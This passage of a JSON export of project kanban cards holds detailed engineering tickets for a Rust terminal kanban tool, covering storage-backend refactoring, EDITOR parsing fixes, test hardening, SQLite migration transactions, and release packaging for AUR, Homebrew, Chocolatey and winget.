call into a helper on `StoreManager`) instead of hardcoding\n`.json`.\n\n## Open design questions\n\n1. **`extensions()` as a trait method vs. crate-level `pub const`?** Trait\n   method is more polymorphic (consumers iterate via the registry and\n   never reach into specific crates); const is zero-cost and more\n   discoverable in IDE. Probably trait method with a default `&[]` so\n   third-party factories don't have to implement it.\n\n2. **What if explicit backend conflicts with content detection?** E.g.\n   user passes `kanban --backend sqlite my-existing-json-file.json`.\n   - Trust content (current behaviour for the SQLite-magic case): warn\n     loudly, use JSON.\n   - Trust user: refuse to open and error out.\n   - Default proposal: trust content + warn. Same shape as the existing\n     `sync_backend_with_file` flow.\n\n3. **For commands that genuinely do not have a file yet** (e.g., bare\n   TUI launch, `kanban migrate <src> <target_backend>`): the explicit\n   choice is the only signal. No change for these.\n\n4. **Backwards compatibility**: changing `make_backend`'s signature is a\n   breaking change to `kanban-service`'s public API. Ripples to TUI /\n   CLI / MCP call sites. Worth a single PR that touches all three; not\n   suitable as a partial migration.\n\n## Acceptance criteria\n\n- `kanban-persistence-json` and `kanban-persistence-sqlite` each expose\n  their `EXTENSIONS` constant (and/or implement `StoreFactory::extensions`).\n- `StoreManager::is_sqlite(locator)` removed, or rewritten to use only\n  content sniffing (no `ends_with` calls).\n- `StoreManager::make_backend` accepts an explicit backend choice and\n  prefers it over filename inference.\n- `swap_known_extension` in `kanban-tui` sources its known list from the\n  persistence crates' `EXTENSIONS` (via `StoreManager` or directly).\n- `StorageBackendChoice::extension()` returns the *first* (canonical)\n  entry from each backend's `EXTENSIONS` rather than a hardcoded literal.\n- `scan_import_files` either iterates all backends' extensions or has a\n  comment justifying the JSON-only filter.\n- The `.ends_with(\\\".json\\\")` test assertions cited above either iterate\n  `JSON_EXTENSIONS` or are rewritten to assert on backend identity\n  rather than path suffix.\n- `cargo test --workspace`, `cargo clippy --workspace --all-targets`,\n  `cargo fmt --all -- --check` all clean.\n\n## Why this was deferred from PR #249\n\nPR #249's scope was KAN-332 (gate subcommands behind explicit file) and\nKAN-330 (startup dialog). Adding the radio in #249 *exposed* the latent\nextension-vs-explicit-choice tension, but fixing it requires changing\n`StoreManager::make_backend`'s public signature, which ripples through\nTUI / CLI / MCP. A targeted PR for this refactor lets reviewers focus on\nthe dispatch model without being mixed up with dialog-UX changes.",
        "due_date": null,
        "id": "81c04b9d-ea2e-4bde-b841-69b46de308f9",
        "points": null,
        "position": 203,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-10T17:33:14.477279924Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Backend dispatch must be content-driven, not filename-driven; expose extensions per backend crate",
        "updated_at": "2026-05-10T17:33:14.477280168Z"
      },
      {
        "card_number": 442,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-13T20:43:08.350319279Z",
        "description": "parse_editor() calls shell_words::split().unwrap_or_default(), which silently swallows an Err when EDITOR contains unclosed quotes (e.g. EDITOR='vim). The result is an empty program string, which propagates through resolve_editor and eventually fails with a cryptic OS error from Command::new(\"\") rather than a clear message to the user. Fix: return a Result from parse_editor, propagate the error to edit_in_external_editor with an io::Error::new(io::ErrorKind::InvalidInput, ...) and an actionable message like 'Could not parse EDITOR value: unclosed quote'.",
        "due_date": null,
        "id": "493598ae-4adb-4976-971c-616d499748c6",
        "points": null,
        "position": 204,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Todo",
        "title": "editor: handle malformed EDITOR value (unclosed quotes)",
        "updated_at": "2026-05-13T20:43:08.350513972Z"
      },
      {
        "card_number": 443,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-13T20:43:16.361663614Z",
        "description": "shell_words follows POSIX quoting rules where \\ is an escape character. A Windows user who sets EDITOR to a backslash path (the natural cmd/PowerShell syntax) has the path silently mangled before it ever reaches Command::new.\n\nVerified empirically against shell-words 1.1.1:\n\n  EDITOR=C:\\Program Files\\vim.exe        -> [\"C:Program\", \"Filesvim.exe\"]   (two tokens, path mangled)\n  EDITOR=C:\\Users\\foo\\nvim.exe           -> [\"C:Usersfoonvim.exe\"]          (entirely nonsense path)\n  EDITOR=C:\\tools\\code.exe --wait        -> [\"C:toolscode.exe\", \"--wait\"]   (path mangled, args OK)\n  EDITOR=\"C:\\Program Files\\vim.exe\"      -> [\"C:\\\\Program Files\\\\vim.exe\"]  (quoted works)\n  EDITOR=\"C:\\Program Files\\vim.exe\" --x  -> [\"C:\\\\Program Files\\\\vim.exe\", \"--x\"] (quoted+arg works)\n\nScope is broader than \"users with spaces in the path\": anyone on Windows whose EDITOR is an absolute path (rather than a binary name relying on PATH) is affected. Before the refactor, EDITOR flowed straight into Command::new(&editor) and the OS path APIs accepted a literal Windows path with backslashes. After the refactor, the string is fed through shell_words::split first, backslashes are eaten as escapes, and which::which / Command::new are then handed a nonsense path that doesn't exist.\n\nPossible fixes:\n1. Gate on cfg!(target_os = \"windows\") and skip shell-words parsing for the unquoted case (preserves backslash-path behavior but gives up multi-word args on Windows).\n2. Use a Windows-aware command-line parser (more invasive, but correct for both quoted and unquoted inputs and arg-bearing EDITORs).\n3. Minimum viable: keep current parsing but document the requirement to quote backslash paths in the README VS Code limitations note.\n\nAlso add a test case that exercises a raw-backslash Windows path so the limitation is visible at the test level.\n\nCaptured during review of #255; bundled into #266 as a follow-up.",
        "due_date": null,
        "id": "74b0c073-f4f2-4042-a91b-14e707b5c0da",
        "points": null,
        "position": 205,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Todo",
        "title": "editor: document/handle Windows backslash paths in EDITOR",
        "updated_at": "2026-05-13T21:31:49.992042248Z"
      },
      {
        "card_number": 444,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-13T20:43:24.338020743Z",
        "description": "resolve_editor_uses_env_var (line 152) and resolve_editor_handles_multiword_editor (line 163) assert path.ends_with(\"vim\") or path.ends_with(\"code\"). which::which falls back to PathBuf::from(&program) on failure (editor.rs:41), so PathBuf::from(\"vim\").ends_with(\"vim\") is true regardless of whether which actually resolved anything. On a CI runner without vim, the test passes — but verifies nothing about the resolution behavior. Same for code, which is even less likely to be on a CI runner.\n\nAmanda was aware of the issue but had no good answer (\"I don't have a good solution out the gate ... one lazy fix could be to install vim on the GHA runner, but that creates a dependency/coupling that shouldn't exist\").\n\nRecommended approach: drop vim and code as test fixtures and use cargo (or rustc) instead. cargo is guaranteed to be on PATH whenever cargo test is running the test — by definition. Then path.is_absolute() becomes a non-vacuous check: it is only true if which::which actually resolved the binary.\n\nSuggested test rewrite (assumes commit 1's resolve_editor_with(Option<&str>) extraction is in place):\n\n  #[test]\n  fn resolve_editor_resolves_program_via_which() {\n      let (path, args) = resolve_editor_with(Some(\"cargo\"));\n      assert!(path.is_absolute(), \"which() should have resolved cargo to an absolute path\");\n      assert!(args.is_empty());\n  }\n\n  #[test]\n  fn resolve_editor_extracts_args_from_program() {\n      let (path, args) = resolve_editor_with(Some(\"cargo --verbose\"));\n      assert!(path.is_absolute());\n      assert_eq!(args, vec![\"--verbose\"]);\n  }\n\nWhy cargo rather than sh/cmd or installing vim:\n- cargo is cross-platform: no cfg-gating needed, no Git Bash / WSL assumption on Windows\n- No CI config change required (no GHA apt-get install vim, no shell.nix change)\n- No coupling to optional system packages\n- The binary is by definition present, since it's running the test\n\nCaptured during review of #255; bundled into #266 as a follow-up.",
        "due_date": null,
        "id": "afb4e39f-a608-4115-9de9-daf0ec9edd21",
        "points": null,
        "position": 206,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Todo",
        "title": "editor: strengthen resolve_editor test assertions",
        "updated_at": "2026-05-13T22:53:05.774970695Z"
      },
      {
        "card_number": 446,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-14T01:23:55.078171066Z",
        "description": "Follow-up from PR #251 (Release 0.5.0) review. The AUR section of release.yml works for the obvious failure modes but has three latent risks worth addressing before they bite.\n\n## Where\n\n`.github/workflows/release.yml`, the \"Update PKGBUILD version and sha256\" + \"Generate .SRCINFO\" + \"Commit and push AUR files\" + \"Deploy to AUR\" steps (lines ~126-171).\n\n## Risks (in order of likelihood)\n\n### 1. Tag-push → tarball-fetch race\n\nThe \"Tag version\" step pushes `v$VERSION` to origin, then \"Update PKGBUILD\" curls `https://github.com/fulsomenko/kanban/archive/v$VERSION.tar.gz`. The archive endpoint is tag-based and usually serves immediately, but GitHub's CDN can transiently 404 right after a tag push. With `set -e` + `curl -fsL`, a single transient 404 fails the whole release **after** crates.io has already published — no clean retry path, requires manual re-tag or running the `aur-publish.yml` workflow_dispatch fallback.\n\nFix: wrap the curl in a retry loop with exponential backoff.\n\n```bash\nfor i in 1 2 3 4 5; do\n  if SHA256=$(curl -fsL \"$URL\" | sha256sum | cut -d' ' -f1); then break; fi\n  sleep $((i*5))\ndone\n```\n\n### 2. No end-to-end SHA validation before AUR push\n\n`makepkg --printsrcinfo` parses metadata only — it does not download or verify sources. So if the recorded sha is ever wrong (truncated body, sed regex miss, GitHub archive format drift), CI is green and the broken PKGBUILD ships to AUR. End users see `==> ERROR: One or more files did not pass the validity check!` at `pacman -S` time.\n\nFix: replace (or augment) the `--printsrcinfo` step with `makepkg -od --nocheck` inside the same nix shell. That re-downloads via makepkg's own logic and verifies against the sha we just wrote — closes the loop on the exact artifact end users will pull.\n\n### 3. GitHub auto-generated tarballs aren't contractually byte-stable\n\nGitHub has historically changed git's `archive` defaults (notably 2023-01 / 2023-09 gzip default changes), invalidating hashes across nixpkgs and AUR. When that happens, our recorded sha drifts even though the upstream commit is unchanged.\n\nTwo ways out:\n- (a) Upload a built tarball as a GH Release asset (via `softprops/action-gh-release` `files:` input) and source the PKGBUILD from `.../releases/download/...` (immutable artifact).\n- (b) Source from `git+https://...#tag=v$pkgver` and let makepkg verify by ref instead of by sha.\n\n(b) is lower-effort. Slow-burning, no urgency.\n\n### 4. sed assumes single-line sha256sums array\n\n`sed \"s|sha256sums=.*|...|\"` works on the current `aur/PKGBUILD:11` which has `sha256sums=(\"...\")` on one line. The moment anyone canonicalises to the multi-line form, the sed silently leaves the array half-replaced and the **old** sha survives. Pin the format with a `# do not reformat — release.yml depends on single-line` comment in the PKGBUILD, or rewrite the field with a tool that parses arrays.\n\n### 5. Hardcoded pkgrel=1\n\nIf anyone ever pushes an AUR-only fix manually (standard convention is bumping `pkgrel` between upstream releases), the next release.yml run resets it to 1. Probably fine for this fully-automated flow, but worth a comment in the PKGBUILD header so a future maintainer isn't surprised.\n\n## Recommended order\n\n1. **Add curl retry** — addresses #1, ~4 lines, no semantic change.\n2. **Add `makepkg -od --nocheck` validation step** — addresses #2, single nix-shell invocation.\n3. **Pin sha256sums single-line format with a comment** — addresses #4, one-line change.\n4. **Decide on (a) vs (b) for tarball stability** — addresses #3, larger change, can wait.\n\n## Context\n\nThis is the first release that exercises the wired-up AUR pipe end-to-end (KAN-397 only just landed in 0.5.0). Decided to ship 0.5.0 with the current pipe and iterate based on what actually happens on the first real run, rather than pre-harden everything blind.\n\n## Acceptance\n\n- Curl retry implemented and tested via a manual `workflow_dispatch` run.\n- `makepkg -od --nocheck` runs against the freshly-written PKGBUILD before commit/push.\n- PKGBUILD has a header comment about sha256sums single-line format and pkgrel reset.\n- Decision recorded on (a) vs (b) for #3 (can be left as a deferred sub-card).",
        "due_date": null,
        "id": "0fb3bd53-c640-412b-8db9-25f8268e6de0",
        "points": null,
        "position": 207,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Todo",
        "title": "Harden release.yml AUR publish pipeline",
        "updated_at": "2026-05-14T01:23:55.080341526Z"
      },
      {
        "card_number": 451,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-14T16:47:31.372532845Z",
        "description": "## Problem\n\n`board create` currently has an implicit dual responsibility:\n\n1. Creates a board (domain entity)\n2. Initialises the storage file if it does not already exist\n\nThis is a separation-of-concerns violation. Storage bootstrapping is an infrastructure concern, not a domain concern. The result is a UX jagged edge: `board create` silently creates a new file, while every other CLI command requires the file to exist (enforced by the existence check added in KAN-323).\n\n## Context\n\nDiscovered while implementing KAN-323 (fix misleading 'Card not found' error when board file does not exist). The fix gates all commands on file existence — but had to exempt `board create` to preserve the only CLI path to bootstrap a new file. This exemption is itself a design smell.\n\nThe CLAUDE.md historically showed `cargo run -- init --name \"My Board\"` as the initialisation command, suggesting an `init` subcommand was once planned or has since been removed.\n\n## Proposed Fix\n\n1. Add a top-level `init` subcommand:\n   ```\n   kanban <file> init [--name <board-name>]\n   ```\n   - Creates the file with an empty context (no board required)\n   - Optionally accepts `--name` to also create a first board in one step\n   - Errors if the file already exists (to avoid accidental overwrites)\n\n2. Remove the `board create` exemption from the file-existence check in `kanban-cli/src/app.rs`:\n   ```rust\n   // Before: special-cased board create to bypass existence check\n   let is_bootstrap = matches!(&cmd, Commands::Board(b) if matches!(b.action, BoardAction::Create { .. }));\n   // After: all commands require the file to exist\n   ```\n\n3. Update CLAUDE.md to document `kanban <file> init` as the canonical initialisation flow.\n\n## Files to Modify\n\n- `crates/kanban-cli/src/cli.rs` — add `Init` variant to `Commands` enum with optional `--name` arg\n- `crates/kanban-cli/src/app.rs` — handle `Commands::Init` before the existence check; remove `is_bootstrap` exemption\n- `crates/kanban-cli/src/handlers/` — add `init.rs` handler that creates the file and optionally a board\n- `crates/kanban-cli/tests/cli_integration.rs` — add `init_tests` module; update `test_board_create_on_new_file_succeeds` to use `init` instead",
        "due_date": null,
        "id": "89c73b19-3b8c-4eb9-831f-461ffbd43f3f",
        "points": null,
        "position": 207,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Todo",
        "title": "add cli init subcommand to decouple storage bootstrapping from board create",
        "updated_at": "2026-05-14T16:47:31.373293925Z"
      },
      {
        "card_number": 447,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-14T02:11:10.818576565Z",
        "description": "Follow-up from the 0.5.0 release audit (PR #251). The KAN-405 SQLite migration that drops the legacy `command_log` and `undo_state` tables works correctly in practice but has two hardening gaps worth closing.\n\n## Where\n\n`crates/kanban-persistence-sqlite/src/sqlite_store.rs:300-366` — the `migrate()` method on the SQLite store.\n\n## What's there today\n\n- Two sequential `DROP TABLE` statements, each guarded by a `COUNT(*) > 0` check against `sqlite_master`.\n- No explicit `BEGIN`/`COMMIT` wrapping the pair.\n- The `schema_version` column exists in the metadata table but is **not consulted** by the migration logic — it relies entirely on table-existence checks.\n\n## Why it's a nice-to-have, not a blocker\n\nIf the process crashes between dropping `command_log` and `undo_state`, the database is left half-migrated (one table gone, the other not). However, the migration is idempotent: the next 0.5.0 open sees the dropped table missing, skips it, sees the surviving one, drops it. End state converges to correct.\n\nSo shipping 0.5.0 without this fix is fine. But making it transactional removes the brief half-migrated window entirely, and adopting `schema_version` is a prerequisite for any future migration that can't rely on table-existence as the sentinel.\n\n## Fix\n\n1. Wrap both DROPs in a single transaction:\n\n```rust\nlet mut tx = self.pool.begin().await?;\nsqlx::query(\"DROP TABLE IF EXISTS command_log\").execute(&mut *tx).await?;\nsqlx::query(\"DROP TABLE IF EXISTS undo_state\").execute(&mut *tx).await?;\nsqlx::query(\"UPDATE metadata SET schema_version = 2 WHERE id = 1\").execute(&mut *tx).await?;\ntx.commit().await?;\n```\n\n2. Gate the migration on `schema_version < 2`, not on table existence. Bump `schema_version` to 2 in the same transaction.\n\n3. The fresh-install path (schema.sql) should set `schema_version = 2` so we never run the migration on a brand-new DB.\n\n## Tests\n\n- Existing test at `crates/kanban-persistence-sqlite/tests/data_store.rs:362-423` should continue to pass.\n- Add: fresh-install path (no legacy tables, `schema_version = 2`) does not attempt the migration.\n- Add: migration is no-op when `schema_version >= 2` even if legacy tables somehow exist (defensive).\n- Consider documenting the half-migrated recovery scenario in a comment so future readers don't worry about it.\n\n## Acceptance\n\n- Both DROPs and the `schema_version` bump run in one transaction.\n- The migration is gated on `schema_version`, not table existence.\n- All existing migration tests pass; new tests cover fresh install and schema-version gating.\n- The audit comment in `sqlite_store.rs` notes that this closes the half-migrated window.",
        "due_date": null,
        "id": "f5fe3bf4-008f-432a-860a-3346d47cee92",
        "points": null,
        "position": 208,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Todo",
        "title": "Wrap SQLite KAN-405 legacy-table drop in a transaction + use schema_version",
        "updated_at": "2026-05-14T02:11:10.820168134Z"
      },
      {
        "card_number": 452,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-14T17:45:02.127919353Z",
        "description": "## Background\n\nThe project currently ships to crates.io, AUR, GitHub Releases (notes only, no binaries), and nixpkgs (via ryantm). Three large user populations have no first-class install path today:\n\n- **macOS users** — no Homebrew formula, no install path other than `cargo install kanban-cli` or building from source.\n- **Windows users** — Windows CI binary exists (PR #267 / KAN-445) but it isn't packaged or published anywhere consumers look (Chocolatey, winget).\n- **Discoverability on Linux beyond Arch** — AUR covers Arch, nixpkgs covers Nix, but no Homebrew-on-Linux path exists.\n\nThis card covers publishing to **Homebrew (tap)**, **Chocolatey**, and **winget**, restructuring all packaging under a unified `packaging/` directory, and updating the release workflow to drive all of them.\n\n## Prerequisites (blockers — must land before any registry work)\n\n### P1. Add macOS to CI\n\n`.github/workflows/ci.yml` currently runs only `ubuntu-latest` and `windows-latest`. The TUI uses crossterm (cross-platform) and the Linux-only deps in `default.nix:22-25` are gated on `pkgs.stdenv.isLinux`, so the project *should* build on macOS, but this is unverified. Required before Homebrew because the tap is meaningless if it can't actually compile on macOS.\n\n- Add `macos-latest` (Intel) and `macos-14` (Apple Silicon) to the test matrix.\n- Run `cargo test --workspace` on both.\n- Address any platform-specific failures that surface.\n\n### P2. Build and upload release binaries\n\n`.github/workflows/release.yml` currently only creates a GitHub Release with auto-generated notes — no artifacts. Chocolatey and winget both expect a downloadable binary from a stable URL. Required before either of those.\n\nAdd a build matrix step to `release.yml` (after `Create GitHub Release`) that produces and uploads:\n\n- `kanban-v${VERSION}-x86_64-pc-windows-msvc.zip` — Windows binary (cross-compile from Ubuntu via `cross`, or use a `windows-latest` job)\n- `kanban-v${VERSION}-x86_64-apple-darwin.tar.gz` — macOS Intel\n- `kanban-v${VERSION}-aarch64-apple-darwin.tar.gz` — macOS ARM\n- `kanban-v${VERSION}-x86_64-unknown-linux-gnu.tar.gz` — Linux (useful for non-Arch, non-Nix users; also enables Homebrew-on-Linux)\n\nEach archive contains just the `kanban` binary plus `LICENSE` and `README.md`. Use `softprops/action-gh-release@v2` (already in use) with the `files:` field to attach them.\n\nGenerate and publish SHA256 checksums alongside (a single `SHA256SUMS` file is the conventional shape).\n\n## Repo restructure: `packaging/` directory\n\nMove everything packaging-related under a unified `packaging/` directory. Current `aur/` becomes `packaging/aur/`, and new homes are created for the new registries.\n\nTarget layout:\n\n```\npackaging/\n├── aur/\n│   ├── PKGBUILD\n│   └── .SRCINFO\n├── homebrew/\n│   └── Formula/\n│       └── kanban.rb\n├── chocolatey/\n│   ├── kanban.nuspec\n│   └── tools/\n│       ├── chocolateyinstall.ps1\n│       ├── chocolateyuninstall.ps1\n│       ├── LICENSE.txt\n│       └── VERIFICATION.txt\n└── winget/\n    └── manifests/\n        └── f/\n            └── fulsomenko/\n                └── kanban/\n                    ├── fulsomenko.kanban.installer.yaml\n                    ├── fulsomenko.kanban.locale.en-US.yaml\n                    └── fulsomenko.kanban.yaml\n```\n\nCI references to `./aur/...` in `release.yml` must be updated to `./packaging/aur/...` in the same PR that does the move, or the AUR pipeline breaks at next release.\n\n## Task 1: Homebrew tap\n\n### Scope: tap first, core later\n\nShip a Homebrew tap (`fulsomenko/homebrew-kanban`) as the initial deliverable. Migrating to homebrew-core is a separate future card — the Formula written here is designed to port cleanly when notability allows it (license is already SPDX `Apache-2.0`, test block goes beyond `--version`, etc.).\n\n### Tap repo\n\nCreate a separate GitHub repo `fulsomenko/homebrew-kanban`. The Formula's source of truth lives at `packaging/homebrew/Formula/kanban.rb` in this repo; release.yml mirrors it to the tap repo on each release.\n\n### Formula skeleton\n\n```ruby\nclass Kanban < Formula\n  desc \"Terminal-based kanban board inspired by lazygit\"\n  homepage \"https://github.com/fulsomenko/kanban\"\n  url \"https://github.com/fulsomenko/kanban/archive/refs/tags/v#{VERSION}.tar.gz\"\n  sha256 \"<filled in by release.yml>\"\n  license \"Apache-2.0\"\n  head \"https://github.com/fulsomenko/kanban.git\", branch: \"develop\"\n\n  depends_on \"rust\" => :build\n  depends_on \"pkg-config\" => :build\n\n  on_linux do\n    depends_on \"wayland\"\n    depends_on \"libxcb\"\n  end\n\n  def install\n    system \"cargo\", \"install\", *std_cargo_args(path: \"crates/kanban-cli\")\n  end\n\n  test do\n    assert_match \"kanban\", shell_output(\"#{bin}/kanban --version\")\n    system bin/\"kanban\", \"init\", \"--name\", \"Test\", testpath/\"test.json\"\n    assert_predicate testpath/\"test.json\", :exist?\n  end\nend\n```\n\nNotes on the formula:\n\n- `std_cargo_args(path: \"crates/kanban-cli\")` builds only `kanban-cli`, matching `default.nix:27`.\n- `on_linux` mirrors the Wayland/libxcb deps from `default.nix:22-25`.\n- The `test do` block must exercise actual behavior, not just `--version`, to satisfy homebrew-core audit when we eventually port. Initializing a board file is a cheap, meaningful test.\n\n### User-facing UX\n\n```sh\nbrew install fulsomenko/kanban/kanban\n# or\nbrew tap fulsomenko/kanban\nbrew install kanban\n```\n\nCompile-from-source on install will take a few minutes per machine. Self-hosting bottles is out of scope for this card.\n\n### README\n\nAdd a \"Homebrew\" section under installation alongside the AUR and Nix sections.\n\n## Task 2: Chocolatey\n\n### Files\n\n`packaging/chocolatey/kanban.nuspec`:\n\n```xml\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<package xmlns=\"http://schemas.microsoft.com/packaging/2015/06/nuspec.xsd\">\n  <metadata>\n    <id>kanban</id>\n    <version>$version$</version>\n    <title>kanban</title>\n    <authors>Max Blomstervall</authors>\n    <projectUrl>https://github.com/fulsomenko/kanban</projectUrl>\n    <licenseUrl>https://github.com/fulsomenko/kanban/blob/master/LICENSE</licenseUrl>\n    <requireLicenseAcceptance>false</requireLicenseAcceptance>\n    <projectSourceUrl>https://github.com/fulsomenko/kanban</projectSourceUrl>\n    <packageSourceUrl>https://github.com/fulsomenko/kanban/tree/master/packaging/chocolatey</packageSourceUrl>\n    <docsUrl>https://github.com/fulsomenko/kanban#readme</docsUrl>\n    <bugTrackerUrl>https://github.com/fulsomenko/kanban/issues</bugTrackerUrl>\n    <tags>kanban tui terminal productivity rust</tags>\n    <summary>Terminal-based kanban board inspired by lazygit</summary>\n    <description><![CDATA[\nA terminal-based kanban/project management tool written in Rust,\ninspired by lazygit's interface design.\n    ]]></description>\n  </metadata>\n  <files>\n    <file src=\"tools\\**\" target=\"tools\" />\n  </files>\n</package>\n```\n\n`packaging/chocolatey/tools/chocolateyinstall.ps1`:\n\n```powershell\n$ErrorActionPreference = 'Stop'\n$toolsDir = \"$(Split-Path -parent $MyInvocation.MyCommand.Definition)\"\n$version  = '$version$'\n$url      = \"https://github.com/fulsomenko/kanban/releases/download/v$version/kanban-v$version-x86_64-pc-windows-msvc.zip\"\n\n$packageArgs = @{\n  packageName    = 'kanban'\n  unzipLocation  = $toolsDir\n  url64bit       = $url\n  checksum64     = '$checksum64$'\n  checksumType64 = 'sha256'\n}\n\nInstall-ChocolateyZipPackage @packageArgs\n```\n\n`packaging/chocolatey/tools/chocolateyuninstall.ps1`:\n\n```powershell\n$ErrorActionPreference = 'Stop'\n$toolsDir = \"$(Split-Path -parent $MyInvocation.MyCommand.Definition)\"\nUninstall-ChocolateyZipPackage -PackageName 'kanban' -ZipFileName \"kanban-*-x86_64-pc-windows-msvc.zip\"\n```\n\n`packaging/chocolatey/tools/LICENSE.txt` — copy of the project LICENSE (chocolatey audit requires this be redistributed alongside the binary).\n\n`packaging/chocolatey/tools/VERIFICATION.txt`:\n\n```\nVERIFICATION\n\nThe binary in this package is the official kanban release for Windows,\ndownloaded from the project's GitHub release page:\n\n  https://github.com/fulsomenko/kanban/releases\n\nThe SHA256 checksum is recorded in the chocolateyinstall.ps1 file via\nthe `$checksum64` substitution variable, populated at package build time\nfrom the release artifact.\n\nTo verify manually:\n  1. Download the release zip from the URL above.\n  2. Compute its SHA256:  Get-FileHash -Algorithm SHA256 <file>.zip\n  3. Confirm it matches the checksum embedded in chocolateyinstall.ps1.\n```\n\n### Build/publish process\n\nThe `$version$` and `$checksum64$` placeholders are substituted at release time. release.yml:\n\n1. After building Windows release artifact and computing SHA256.\n2. `sed`-replace `$version$` and `$checksum64$` in copies under a build directory.\n3. Run `choco pack` against the build directory.\n4. Run `choco push kanban.<version>.nupkg --api-key=$CHOCO_API_KEY --source=https://push.chocolatey.org/`.\n5. Wait for moderation (out-of-band; can take days to weeks for first version).\n\nNeed to obtain a Chocolatey community API key and add it to repository secrets as `CHOCO_API_KEY`.\n\n### Moderation expectations\n\nFirst version typically reviewed within 1-7 days. Common feedback: tighten the description, fix metadata, ensure LICENSE.txt and VERIFICATION.txt are present and accurate. Subsequent versions usually auto-pass once the maintainer relationship is established.\n\n## Task 3: winget\n\n### Files\n\n`packaging/winget/manifests/f/fulsomenko/kanban/fulsomenko.kanban.yaml` (version manifest):\n\n```yaml\nPackageIdentifier: fulsomenko.kanban\nPackageVersion: $version\nDefaultLocale: en-US\nManifestType: version\nManifestVersion: 1.6.0\n```\n\n`packaging/winget/manifests/f/fulsomenko/kanban/fulsomenko.kanban.locale.en-US.yaml`:\n\n```yaml\nPackageIdentifier: fulsomenko.kanban\nPackageVersion: $version\nPackageLocale: en-US\nPublisher: Fulsomenko\nPublisherUrl: https://github.com/fulsomenko\nPublisherSupportUrl: https://github.com/fulsomenko/kanban/issues\nAuthor: Max Blomstervall\nPackageName: kanban\nPackageUrl: https://github.com/fulsomenko/kanban\nLicense: Apache-2.0\nLicenseUrl: https://github.com/fulsomenko/kanban/blob/master/LICENSE\nShortDescription: Terminal-based kanban board inspired by lazygit\nDescription: |\n  A terminal-based kanban/project management tool written in Rust,\n  inspired by lazygit's interface design.\nTags:\n  - kanban\n  - tui\n  - terminal\n  - productivity\n  - rust\nManifestType: defaultLocale\nManifestVersion: 1.6.0\n```\n\n`packaging/winget/manifests/f/fulsomenko/kanban/fulsomenko.kanban.installer.yaml`:\n\n```yaml\nPackageIdentifier: fulsomenko.kanban\nPackageVersion: $version\nInstallerType: zip\nNestedInstallerType: portable\nNestedInstallerFiles:\n  - RelativeFilePath: kanban.exe\n    PortableCommandAlias: kanban\nInstallers:\n  - Architecture: x64\n    InstallerUrl: https://github.com/fulsomenko/kanban/releases/download/v$version/kanban-v$version-x86_64-pc-windows-msvc.zip\n    InstallerSha256: $sha256\nManifestType: installer\nManifestVersion: 1.6.0\n```\n\n### Publish process\n\n1. `winget` manifests cannot live in your repo as their canonical home — they must be submitted as a PR to `microsoft/winget-pkgs`.\n2. The in-repo `packaging/winget/manifests/` is a dev/staging copy. release.yml uses `microsoft/winget-create` (or the `vedantmgoyal2009/winget-releaser@v2` action) to auto-generate the PR upstream on each release.\n3. Validate locally with `winget validate --manifest packaging/winget/manifests/f/fulsomenko/kanban/` before submitting.\n\n### Why use `vedantmgoyal2009/winget-releaser`\n\nIt abstracts away the manifest generation, PR creation, and authentication-via-PAT-token dance. Inputs are: GitHub release tag, installer regex, PackageIdentifier, GitHub token with `public_repo` scope on a fork of `microsoft/winget-pkgs`. Needs a fork of `microsoft/winget-pkgs` under `fulsomenko/`.\n\n### Validation\n\n`winget` does an automated validation pass on each PR (manifest schema, installer reachability, SHA256 match). Manual review by Microsoft maintainers typically merges within 1-3 days for well-formed PRs.\n\n## Task 4: CI changes (`release.yml`)\n\nAll AUR path references currently point at `./aur/...` (`release.yml:81-100`). Update in the move PR:\n\n```diff\n- sed -i \"s|...|...|\" ./aur/PKGBUILD\n+ sed -i \"s|...|...|\" ./packaging/aur/PKGBUILD\n```\n\nAnd:\n\n```diff\n- cd aur && makepkg --printsrcinfo > .SRCINFO\n+ cd packaging/aur && makepkg --printsrcinfo > .SRCINFO\n```\n\nAnd:\n\n```diff\n- git add aur/PKGBUILD aur/.SRCINFO\n+ git add packaging/aur/PKGBUILD packaging/aur/.SRCINFO\n```\n\nAnd the `KSXGitHub/github-actions-deploy-aur` action's `pkgbuild` input:\n\n```diff\n- pkgbuild: ./aur/PKGBUILD\n+ pkgbuild: ./packaging/aur/PKGBUILD\n```\n\n### New release.yml steps to add\n\nAfter \"Push release commit\" and before \"Create GitHub Release\":\n\n1. **Build release binaries** (matrix job): Linux/macOS Intel/macOS ARM/Windows, each producing a tarball or zip + SHA256.\n\nAfter \"Create GitHub Release\":\n\n2. **Update Homebrew formula**: substitute version + SHA256 in `packaging/homebrew/Formula/kanban.rb`, push to `fulsomenko/homebrew-kanban` repo via deploy key.\n3. **Publish to Chocolatey**: substitute version + checksum, `choco pack`, `choco push` with `CHOCO_API_KEY` secret.\n4. **Submit to winget**: invoke `vedantmgoyal2009/winget-releaser@v2` with the release tag and a `WINGET_TOKEN` secret (PAT scoped to a `fulsomenko/winget-pkgs` fork).\n\n### New repository secrets needed\n\n- `CHOCO_API_KEY` — Chocolatey community API key.\n- 